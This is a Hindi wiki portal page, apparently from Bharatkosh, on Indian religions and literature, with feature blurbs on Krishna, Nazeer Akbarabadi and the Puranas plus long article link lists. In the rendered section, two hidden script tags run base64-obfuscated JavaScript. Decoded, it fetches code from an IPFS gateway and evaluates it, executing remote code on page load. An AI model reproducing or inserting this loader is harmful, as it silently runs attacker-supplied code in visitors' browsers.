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यहाँ आप भारत के विभिन्न धर्मों से संबंधित जानकारी प्राप्त कर सकते हैं।<br />
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* यहाँ हम [[भारत]] की विभिन्न भाषाओं के [[साहित्य]] से संबंधित जानकारी प्राप्त कर सकते हैं। समस्त ग्रंथों का समूह, किसी भाषा की गद्य तथा पद्यात्मक रचनाएँ, भावों एवं विचारों की समष्टि ही 'साहित्य' कहलाता है।
♦ भारतीय संस्कृति की मूल विशेषता यह रही है कि व्यक्ति अपनी परिस्थितियों के अनुरूप मूल्यों की रक्षा करते हुए कोई भी मत, विचार अथवा धर्म अपना सकता है।
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* [[हिन्दी]] साहित्य की जड़ें मध्ययुगीन भारत की [[ब्रजभाषा]], [[अवधी भाषा|अवधी]], [[मैथिली भाषा|मैथिली]] और मारवाड़ी जैसी भाषाओं के साहित्य में पाई जाती हैं। प्राचीन युग के लेखकों और कवियों की विशेष रुचि यात्रावर्णन तथा रोचक कहानी कहने में थी।
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{{Headnote2| [[:श्रेणी:साहित्य कोश|साहित्य श्रेणी के सभी लेख देखें:- साहित्य कोश]]}}
<div style=text-align:center; direction: ltr; margin-left: 1em;><h2>धर्म मुखपृष्ठ</h2></div>
 
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♦ यहाँ हिन्दू धर्म के अगणित रूपों और संप्रदायों के अतिरिक्त, बौद्ध, जैन, सिक्ख, इस्लाम, ईसाई, यहूदी आदि धर्मों की विविधता का भी एक सांस्कृतिक समायोजन देखने को मिलता है। <br />
 
♦ आध्यात्मिकता हमारी संस्कृति का प्राणतत्त्व है। इनमें ऐहिक अथवा भौतिक सुखों की तुलना में आत्मिक अथवा पारलौकिक सुख के प्रति आग्रह देखा जा सकता है।
 
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| class="bgdharm4" style="border:1px solid #b0b0ff;padding:10px;" valign="top" | '''विशेष आलेख'''
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| class="headbg1" style="border:1px solid #FFDA6A;padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; " valign="top" | <div class="headbg2"><span style="color: rgb(153, 51, 0); padding-left:8px;">'''विशेष आलेख'''</span></div>
 
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<div align="center" style="color:#34341B;">'''[[कृष्ण]]'''</div>
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<div align="center" style="color:#34341B;">'''[[नज़ीर अकबराबादी]]'''</div>
<div id="rollnone"> [[चित्र:Krishn-title.jpg|right|150px|कृष्ण|link=कृष्ण]] </div>
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<div id="rollnone">[[चित्र:Nazeer-Akbarabadi.jpg|right|80px|नज़ीर अकबराबादी|link=नज़ीर अकबराबादी|border]]</div>
*सनातन धर्म के अनुसार भगवान [[विष्णु]] सर्वपापहारी पवित्र और समस्त मनुष्यों को भोग तथा मोक्ष प्रदान करने वाले प्रमुख देवता हैं। कृष्ण [[हिन्दू धर्म]] में विष्णु के अवतार माने जाते हैं।
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*[[छांदोग्य उपनिषद]] (3,17,6), जिसमें [[देवकी]] पुत्र कृष्ण का उल्लेख है और उन्हें घोर [[आंगिरस]] का शिष्य कहा है। परवर्ती साहित्य में श्रीकृष्ण को देव या [[विष्णु]] रूप में प्रदर्शित करने का भाव मिलता है।<balloon title="(दे0 तैत्तिरीय आरण्यक, 10, 1, 6; पाणिनि-अष्टाध्यायी, 4, 3, 98 आदि)" style=color:blue>*</balloon>
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        '''[[नज़ीर अकबराबादी]]''' [[उर्दू]] में नज़्म लिखने वाले पहले कवि माने जाते हैं। समाज की हर छोटी-बड़ी ख़ूबी को नज़ीर साहब ने कविता में तब्दील कर दिया। ककड़ी, [[जलेबी]] और तिल के लड्डू जैसी वस्तुओं पर लिखी गई कविताओं को आलोचक कविता मानने से इनकार करते रहे। बाद में नज़ीर साहब की 'उत्कृष्ट शायरी' को पहचाना गया और आज वे [[उर्दू साहित्य]] के शिखर पर विराजमान चन्द नामों के साथ बाइज़्ज़त गिने जाते हैं। लगभग सौ वर्ष की आयु पाने पर भी इस शायर को जीते जी उतनी ख्याति नहीं प्राप्त हुई जितनी कि उन्हें आज मिल रही है। नज़ीर की शायरी से पता चलता है कि उन्होंने जीवन-रूपी पुस्तक का अध्ययन बहुत अच्छी तरह किया है। भाषा के क्षेत्र में भी वे उदार हैं, उन्होंने अपनी शायरी में जन-संस्कृति का, जिसमें हिन्दू संस्कृति भी शामिल है, दिग्दर्शन कराया है और हिन्दी के शब्दों से परहेज़ नहीं किया है। उनकी शैली सीधी असर डालने वाली है और [[अलंकार|अलंकारों]] से मुक्त है। शायद इसीलिए वे बहुत लोकप्रिय भी हुए। [[नज़ीर अकबराबादी|... और पढ़ें]]
*[[महाभारत]] तथा [[हरिवंश पुराण|हरिवंश]], [[विष्णु पुराण|विष्णु]], [[ब्रह्म पुराण|ब्रह्म]], [[वायु पुराण|वायु]], [[भागवत पुराण|भागवत]], [[पद्म पुराण|पद्म]], देवी भागवत [[अग्नि पुराण|अग्नि]] तथा [[ब्रह्मावर्त|ब्रह्मवर्त]] [[पुराण|पुराणों]] में उन्हें प्राय: भगवान के रूप में ही दिखाया गया है।
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*कृष्ण की स्तुति लगभग सारे [[भारत]] में किसी न किसी रूप में की जाती है। वे लोग जिन्हें हम साधारण रूप में नास्तिक या धर्म निरपेक्ष की श्रेणी में रखते हैं निश्चित रूप से [[गीता|भगवत गीता]] से प्रभावित हैं।
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*यह मत भी भ्रामक है कि [[ब्रज]] के कृष्ण, [[द्वारका]] के कृष्ण तथा महाभारत के कृष्ण एक न होकर अलग-अलग व्यक्ति थे।<balloon title="(श्रीकृष्ण की ऐतिहासिकता तथा तत्संबंधी अन्य समस्याओं के लिए देखिए- राय चौधरी-अर्ली हिस्ट्री आफ वैष्णव सेक्ट, पृ0 39, 52; आर0जी0 भंडारकार-ग्रंथमाला, जिल्द 2, पृ0 58-291; विंटरनीज-हिस्ट्री आफ इंडियन लिटरेचर, जिल्द 1, पृ0 456; मैकडॉनल तथा कीथ-वैदिक इंडेक्स, जि0 1, पृ0 184; ग्रियर्सन-एनसाइक्लोपीडिया आफ रिलीजंस (`भक्ति' पर निबंध); भगवानदास-कृष्ण; तदपत्रिकर-दि कृष्ण प्रायलम; पार्जीटर-ऎश्यंट इंडियन हिस्टारिकल ट्रेडीशन आदि।)" style=color:blue>*</balloon> '''[[कृष्ण|.... और पढ़ें]]'''
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| class="bgdharm5" style="border:1px solid #B0B0FF; padding:10px;" valign="top" | '''चयनित लेख'''
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| class="bg64" style="border:1px solid #e8d79c;padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px;" valign="top" | <div style="padding-left:8px; background:#f5e6b2; border:thin solid #e8d79c; text-align:center;">'''महत्त्वपूर्ण लेख'''</div>[[जैन साहित्य]] &nbsp;&nbsp;•&nbsp;&nbsp; [[अंग्रेज़ी साहित्य]] &nbsp;&nbsp;•&nbsp;&nbsp; [[जयशंकर प्रसाद]] &nbsp;&nbsp;•&nbsp;&nbsp; [[प्रेमचंद]] &nbsp;&nbsp;•&nbsp;&nbsp; [[कबीर]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[रहीम]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[सूरदास]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[कालिदास]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[रामचन्द्र शुक्ल]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[महायान साहित्य]]
<div align="center" style="color:#34341B;">'''[[पुराण]]'''</div>
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&nbsp;&nbsp;•&nbsp;&nbsp;  [[गुप्तकालीन साहित्य]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[कहावत लोकोक्ति मुहावरे]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[जैन पुराण साहित्य]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[रामधारी सिंह दिनकर]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[हज़ारी प्रसाद द्विवेदी]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[भारतेन्दु हरिश्चंद्र]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[राहुल सांकृत्यायन]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[रामनरेश त्रिपाठी]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[शरत चंद्र चट्टोपाध्याय]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[पांडुरंग वामन काणे]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[सआदत हसन मंटो]] &nbsp;&nbsp;•&nbsp;&nbsp; [[रामायण]]  &nbsp;&nbsp;•&nbsp;&nbsp; [[महाभारत]]
<div id="rollnone"> [[चित्र:Puran-1.png|right|150px|पुराण|link=पुराण]] </div>
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&nbsp;&nbsp;•&nbsp;&nbsp; [[राजभाषा]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[हिन्दी|हिन्दी भाषा]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[साहित्य अकादमी पुरस्कार हिन्दी]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[अंग्रेज़ी भाषा]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[सांख्य साहित्य]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[महादेवी वर्मा]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[वेद]]  &nbsp;&nbsp;•&nbsp;&nbsp;  [[दर्शन शास्त्र]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[उपनिषद]]  &nbsp;&nbsp;•&nbsp;&nbsp; [[रबीन्द्रनाथ ठाकुर]] &nbsp;&nbsp;•&nbsp;&nbsp; [[सरोजिनी नायडू]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[भारतेन्दु हरिश्चंद्र]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[सूर्यकान्त त्रिपाठी निराला]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[अमृतलाल नागर]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[अमृता प्रीतम]] &nbsp;&nbsp;•&nbsp;&nbsp;  [[अज्ञेय, सच्चिदानंद हीरानन्द वात्स्यायन|अज्ञेय]] &nbsp;&nbsp;•&nbsp;&nbsp; [[अरबिंदो घोष]]
*पुराणों की रचना वैदिक काल के काफ़ी बाद की है, ये स्मृति विभाग में रखे जाते हैं। पुराणों को '''मनुष्य के भूत, भविष्य, वर्तमान का दर्पण''' भी कहा जा सकता है।
 
*पुराणों में हिन्दू देवी-देवताओं का और पौराणिक मिथकों का बहुत अच्छा वर्णन है। इनकी '''भाषा सरल और कथा कहानी''' की तरह है।
 
*पुराण वस्तुतः वेदों का विस्तार हैं। वेद बहुत ही जटिल तथा शुष्क भाषा-शैली में लिखे गए हैं। [[वेदव्यास]] जी ने पुराणों की रचना और पुनर्रचना की।
 
*पुराण शब्द ‘पुरा’ एवं ‘अण’ शब्दों की संधि से बना है, जिसका शाब्दिक अर्थ -‘पुराना’ अथवा ‘प्राचीन’ होता है। ‘पुरा’ शब्द का अर्थ है - अनागत एवं अतीत और ‘अण’ शब्द का अर्थ होता है- कहना या बतलाना।
 
*संसार की रचना करते समय [[ब्रह्मा]] जी ने एक ही पुराण की रचना की थी। जिसमें एक '''अरब श्लोक''' थे। यह पुराण बहुत ही विशाल और कठिन था। '''[[पुराण|.... और पढ़ें]]'''
 
 
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<div style="padding-left:8px;"><span style="color:#191406">'''कुछ चुने हुए लेख'''</span></div>
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* [[हिन्दू धर्म]]
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* [[इस्लाम धर्म]]
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* [[जैन धर्म]]
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* [[बौद्ध धर्म]]
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* [[पारसी धर्म]]
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* [[ईसाई धर्म]]
 
* [[सिक्ख धर्म]]
 
* [[वैष्णव सम्प्रदाय]]
 
* [[वल्लभ संप्रदाय]]
 
* [[माध्व सम्प्रदाय]]
 
* [[पुराण]]
 
* [[रामायण]]
 
* [[महाभारत]]
 
* [[वेद]]
 
* [[ईद-उल-फ़ितर]]
 
* [[दर्शन शास्त्र]]
 
* [[बौद्ध दर्शन]]
 
* [[गीता]]
 
* [[उपनिषद]]
 
* [[ब्राह्मण साहित्य|ब्राह्मण ग्रन्थ]]
 
* [[गुरु नानक|नानक देव, गुरु]]
 
* [[जैन दर्शन और उसका उद्देश्य|जैन दर्शन]]
 
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<div style="padding-left:8px;"><span style="color:#191406">'''धर्म श्रेणी वृक्ष'''</span></div>
 
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07:10, 12 मई 2021 के समय का अवतरण

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  • यहाँ हम भारत की विभिन्न भाषाओं के साहित्य से संबंधित जानकारी प्राप्त कर सकते हैं। समस्त ग्रंथों का समूह, किसी भाषा की गद्य तथा पद्यात्मक रचनाएँ, भावों एवं विचारों की समष्टि ही 'साहित्य' कहलाता है।
  • हिन्दी साहित्य की जड़ें मध्ययुगीन भारत की ब्रजभाषा, अवधी, मैथिली और मारवाड़ी जैसी भाषाओं के साहित्य में पाई जाती हैं। प्राचीन युग के लेखकों और कवियों की विशेष रुचि यात्रावर्णन तथा रोचक कहानी कहने में थी।
  • भारतकोश पर लेखों की संख्या प्रतिदिन बढ़ती रहती है जो आप देख रहे वह "प्रारम्भ मात्र" ही है...<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
साहित्य श्रेणी के सभी लेख देखें:- साहित्य कोश<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
विशेष आलेख

नज़ीर अकबराबादी

        नज़ीर अकबराबादी उर्दू में नज़्म लिखने वाले पहले कवि माने जाते हैं। समाज की हर छोटी-बड़ी ख़ूबी को नज़ीर साहब ने कविता में तब्दील कर दिया। ककड़ी, जलेबी और तिल के लड्डू जैसी वस्तुओं पर लिखी गई कविताओं को आलोचक कविता मानने से इनकार करते रहे। बाद में नज़ीर साहब की 'उत्कृष्ट शायरी' को पहचाना गया और आज वे उर्दू साहित्य के शिखर पर विराजमान चन्द नामों के साथ बाइज़्ज़त गिने जाते हैं। लगभग सौ वर्ष की आयु पाने पर भी इस शायर को जीते जी उतनी ख्याति नहीं प्राप्त हुई जितनी कि उन्हें आज मिल रही है। नज़ीर की शायरी से पता चलता है कि उन्होंने जीवन-रूपी पुस्तक का अध्ययन बहुत अच्छी तरह किया है। भाषा के क्षेत्र में भी वे उदार हैं, उन्होंने अपनी शायरी में जन-संस्कृति का, जिसमें हिन्दू संस्कृति भी शामिल है, दिग्दर्शन कराया है और हिन्दी के शब्दों से परहेज़ नहीं किया है। उनकी शैली सीधी असर डालने वाली है और अलंकारों से मुक्त है। शायद इसीलिए वे बहुत लोकप्रिय भी हुए। ... और पढ़ें

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संबंधित लेख

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